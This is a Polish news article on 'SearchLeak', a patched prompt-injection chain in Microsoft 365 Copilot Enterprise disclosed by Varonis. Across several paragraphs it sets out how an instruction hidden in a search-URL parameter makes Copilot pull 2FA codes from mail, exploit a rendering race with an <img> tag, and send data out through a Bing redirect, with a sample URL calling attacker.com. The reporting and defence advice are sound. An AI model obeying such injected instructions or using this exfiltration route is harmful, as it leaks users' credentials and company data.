Krytyczna luka w Microsoft 365 Copilot: atak SearchLeak pozwalał kraść kody 2FA z e-maili
W skrócie
- Badacze z Varonis ujawnili atak SearchLeak, który wykorzystywał krytyczną lukę w Microsoft 365 Copilot do kradzieży kodów 2FA i innych wrażliwych danych z poczty e-mail ofiary.
- Exploit omijał zabezpieczenia Copilota, używając silnika Bing jako pośrednika do przesyłania skradzionych danych na serwer atakującego — ofiara musiała jedynie kliknąć spreparowany link.
- Microsoft załatał podatność, jednak badacze ostrzegają, że fundamentalna przyczyna problemu — niemożność odróżnienia przez modele językowe poleceń użytkownika od złośliwych instrukcji w treści zewnętrznej — pozostaje nierozwiązana.
Microsoft załatał krytyczną lukę w platformie M365 Copilot, którą badacze z firmy Varonis ocenili jako podatność o maksymalnym poziomie krytyczności. Kilka dni po wydaniu poprawki Varonis opublikował szczegółowy opis ataku, nazwanego SearchLeak, pokazując, jak za jego pomocą można było wykradać kody jednorazowe (2FA) oraz inne wrażliwe dane z wiadomości e-mail dostępnych dla Copilota arstechnica.com.
Na czym polegał atak
Sedno problemu tkwi w fundamentalnej słabości dużych modeli językowych (LLM): nie potrafią one odróżnić poleceń wydanych przez uprawnionego użytkownika od złośliwych instrukcji przemyconych w treści zewnętrznej — na przykład w e-mailu, dokumencie czy stronie internetowej, którą model przetwarza. To zjawisko określa się mianem wstrzyknięcia instrukcji (prompt injection) arstechnica.com.
Atak SearchLeak opierał się na technice zwanej Parameter-to-Prompt Injection. Atakujący wysyłał ofierze wiadomość e-mail zawierającą spreparowany adres URL w formacie https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=, gdzie w polu parametru ukryta była złośliwa instrukcja dla Copilota. Po kliknięciu linku przez ofiarę Copilot bez żadnej dodatkowej interakcji użytkownika wykonywał polecenie: przeszukiwał skrzynkę pocztową, wyodrębniał wrażliwe dane i osadzał je w adresie URL żądania obrazka arstechnica.com.
Jak omijano zabezpieczenia
Microsoft wbudował w Copilota szereg mechanizmów ochronnych. Jeden z nich blokuje wysyłanie żądań do zewnętrznych serwisów — Copilot nie może swobodnie przesyłać danych na dowolne domeny. Badacze odkryli jednak dwa kluczowe słabości pozwalające ominąć te bariery arstechnica.com.
Po pierwsze, zabezpieczenie owijające odpowiedź modelu w bloki <pre> (uniemożliwiające renderowanie surowego HTML) uruchamiało się dopiero po zakończeniu fazy „myślenia" modelu. W trakcie generowania odpowiedzi Copilot produkował surowy HTML, który przeglądarka tymczasowo renderowała. Sekwencja wyglądała następująco arstechnica.com:
- Copilot zaczynał strumieniować odpowiedź zawierającą znacznik
<img src="...">z ukradzionymi danymi w adresie URL. - Przeglądarka widziała znacznik, renderowała go i wysyłała żądanie HTTP pod wskazany adres.
- Copilot kończył generowanie, a zabezpieczenie owijało treść w blok
<pre>. - Za późno — żądanie już opuściło przeglądarkę.
Po drugie, polityka bezpieczeństwa treści Copilota zezwala na wysyłanie żądań obrazków do wyszukiwarki Bing. Badacze wykorzystali Bing jako „trampolinę": Copilot kierował żądanie do Binga, a Bing przekierowywał je dalej na serwer kontrolowany przez atakującego. Żądanie wyglądało mniej więcej tak arstechnica.com:
https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/SKRADZIONE_DANE/image.png
W ten sposób skradzione dane trafiały do atakującego, a ofiara nie musiała robić nic poza kliknięciem linku.
Skala potencjalnych szkód
Badacze Varonis podkreślają, że SearchLeak celował w warstwę Enterprise platformy Microsoft, co oznaczało, że zakres potencjalnych szkód wykraczał daleko poza dane osobiste. W zasięgu ataku znajdowały się e-maile, zaproszenia i notatki ze spotkań, dokumenty SharePoint, pliki OneDrive oraz wszelkie inne treści zaindeksowane w środowisku M365. W zależności od sposobu integracji M365 z infrastrukturą organizacji zakres ten mógł być jeszcze szerszy arstechnica.com.
Łatka jest, problem pozostaje
Microsoft wydał poprawkę usuwającą podatności wykorzystywane przez SearchLeak. Jednak badacze i komentatorzy wskazują na głębszy, nierozwiązany problem: branża nie znalazła dotąd skutecznego sposobu na naprawienie fundamentalnej podatności modeli językowych na wstrzyknięcie instrukcji. Dopóki LLM-y nie będą potrafiły niezawodnie odróżniać poleceń użytkownika od złośliwych instrukcji ukrytych w przetwarzanej treści, producenci będą zmuszeni do budowania kolejnych doraźnych zabezpieczeń — a atakujący będą znajdować nowe sposoby ich obejścia, powtarzając ten cykl od nowa arstechnica.com.
Co to oznacza
Atak SearchLeak to kolejny przykład pokazujący, że integracja asystentów AI z wrażliwymi zasobami firmowymi — pocztą, dokumentami, kalendarzami — tworzy nową klasę ryzyka, której tradycyjne mechanizmy bezpieczeństwa nie są w stanie w pełni zneutralizować. Dla polskich organizacji korzystających z Microsoft 365 w wersji Enterprise oznacza to, że samo zainstalowanie poprawki Microsoftu nie wystarczy jako długoterminowa strategia ochrony.
Kluczowym wnioskiem jest to, że podatność na wstrzyknięcie instrukcji jest cechą architektury obecnych modeli językowych, a nie błędem konkretnej implementacji. Każda organizacja, która udostępnia Copilotowi lub podobnym narzędziom dostęp do wrażliwych danych, powinna traktować to ryzyko jako stałe, a nie jednorazowe do załatania. Warto rozważyć ograniczenie zakresu danych dostępnych dla asystentów AI oraz monitorowanie nietypowych żądań wychodzących z sesji Copilota.
Dla działów IT i bezpieczeństwa w Polsce istotna jest też lekcja dotycząca zaufanych domen: fakt, że Bing był traktowany jako zaufany pośrednik, pozwolił na ominięcie polityki bezpieczeństwa treści. Pokazuje to, że listy dozwolonych domen w systemach AI wymagają równie starannego audytu co tradycyjne reguły zapory sieciowej — a zaufanie do dużych, znanych serwisów nie jest samo w sobie wystarczającym zabezpieczeniem.
Szerszy kontekst
W ostatni wtorek Microsoft załatał lukę, którą ocenił jako maksymalnie krytyczną w swojej platformie AI M365 Copilot. W poniedziałek badacze, którzy odkryli lukę i zgłosili ją Microsoftowi, ujawnili, w jaki sposób ich exploit proof-of-concept mógł pobierać kody 2FA i inne wrażliwe dane z e-maili dostępnych dla Copilota.
Varonis Threat Labs odkrył SearchLeak, krytyczny łańcuch luk w Microsoft 365 Copilot Enterprise, który pozwala atakującemu wykraść wrażliwe dane — kody MFA, wiadomości e-mail, szczegóły spotkań i prywatne pliki organizacyjne — jednym kliknięciem. [...] Nazwany SearchLeak łańcuch łączy stosunkowo nową klasę luki specyficznej dla AI, zwaną Parameter-to-Prompt Injection (P2P), z dwoma klasycznymi błędami bezpieczeństwa webowego: warunkiem wyścigu w iniekcji HTML oraz fałszowaniem żądań po stronie serwera (SSRF).
"Ponieważ SearchLeak celuje w warstwę Enterprise Microsoftu, zasięg rażenia nie ogranicza się do danych osobowych — jest w stanie ujawnić wszystko, do czego użytkownik ma dostęp wewnątrz organizacji, w tym e-maile, zaproszenia na spotkania i notatki, dokumenty SharePoint, pliki OneDrive i inne indeksowane treści biznesowe" — czytamy w raporcie Varonis. "W zależności od tego, jak M365 jest podłączony do środowiska, zasięg rażenia może być jeszcze szerszy."
Analiza
Przypadek SearchLeak (CVE-2026-42824, oceniony przez Microsoft jako krytyczny z maksymalną wagą) jest technicznie interesujący nie dlatego, że ktoś „zhakował AI", lecz dlatego, że trzy osobno niegroźne słabości — nowa klasa podatności Parameter-to-Prompt Injection, wyścig renderowania HTML oraz ominięcie polityki bezpieczeństwa treści przez Bing jako pośrednika — złożyły się w łańcuch umożliwiający eksfiltrację danych jednym kliknięciem. Jak trafnie ujmuje to (wg techrepublic.com): „nie było to AI działające na własną rękę, lecz wyszukiwarka korporacyjna, renderowanie przeglądarki i dozwolona infrastruktura Microsoftu połączone w ścieżkę wycieku danych". To ważne rozróżnienie — pokazuje, że zagrożenie nie leży wyłącznie w modelu językowym, lecz w całym ekosystemie, w którym model operuje.
Szczególnie niepokojący jest mechanizm wykorzystania Binga jako „trampoliny". Polityka bezpieczeństwa treści Copilota zezwalała na wysyłanie żądań obrazków do Binga, a Bing przekierowywał je dalej na serwer kontrolowany przez atakującego (wg varonis.com). Oznacza to, że zaufanie do dużej, rozpoznawalnej domeny Microsoftu stało się wektorem ataku — analogicznie do sytuacji, gdy zaufany dostawca w łańcuchu dostaw staje się punktem wejścia dla intruza. Dla administratorów IT to sygnał, że listy dozwolonych domen w systemach AI wymagają takiego samego rygorystycznego audytu jak reguły zapory sieciowej, a nie domyślnego zaufania opartego na rozpoznawalności marki.
Głębszy problem pozostaje nierozwiązany: branża nie dysponuje skuteczną metodą wyeliminowania podatności modeli językowych na wstrzyknięcie instrukcji na poziomie architektury. Jak wskazuje (wg arstechnica.com), bez możliwości naprawienia pierwotnej przyczyny atakujący będą nieustannie znajdować nowe sposoby obejścia kolejnych doraźnych zabezpieczeń, a cykl będzie się powtarzał. Dla polskich organizacji korzystających z M365 Enterprise oznacza to konieczność traktowania tego ryzyka jako strukturalnego: warto rozważyć ograniczenie zakresu danych indeksowanych przez Copilota, wdrożenie monitorowania nietypowych żądań wychodzących z sesji asystenta oraz — co istotne — uwzględnienie tego rodzaju zagrożeń w modelowaniu ryzyka przy każdej nowej integracji narzędzi AI z zasobami firmowymi.
Powiązane newsy
Nowoczesne ataki omijają uwierzytelnianie wieloskładnikowe – jak cyberprzestępcy logują się zamiast włamywać1 lipca 2026
OpenAI prezentuje GPT-5.6 Sol – najbardziej zaawansowany model AI do cyberbezpieczeństwa z ograniczonym dostępem30 czerwca 2026
GLM-5.2: chiński model open-source z kontekstem 1M tokenów rzuca wyzwanie Claude'owi Opus30 czerwca 2026
Następny przełom w AI: modele uczące się w trakcie pracy, nie tylko podczas treningu1 lipca 2026